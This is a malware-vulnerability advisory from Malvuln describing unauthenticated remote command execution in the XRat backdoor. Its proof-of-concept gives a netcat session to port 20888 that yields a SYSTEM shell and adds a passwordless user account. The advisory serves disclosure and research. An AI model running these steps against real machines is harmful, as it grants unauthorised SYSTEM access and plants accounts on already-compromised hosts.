Backdoor.Win32.XRat.d malware suffers from a code execution vulnerability.
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/dc77b126b205b0f671e505766c607ef1.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.XRat.d
Vulnerability: Unauthenticated Remote Command Execution
Description: XRat malware runs with SYSTEM integrity and listens on TCP port 20888. Third-party attackers who can reach the system can connect, switch to DOS prompt mode and run any OS commands re-compromising the already infected system.
Type: PE32
MD5: dc77b126b205b0f671e505766c607ef1
Vuln ID: MVID-2021-0242
Dropped files: svhost.exe
Disclosure: 06/08/2021
Exploit/PoC:
nc64.exe 192.168.18.127 20888
"X-Rat System Console" v2.0
Status Ready, Client: 192.168.18.130:43857
[DESKTOP-2C4IRJO@C:WINDOWSsystem32]#DOS
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.
C:WINDOWSsystem32>whoami
nt authoritysystem
C:WINDOWSsystem32>net user hyp3rlinx "" /add
The command completed successfully.
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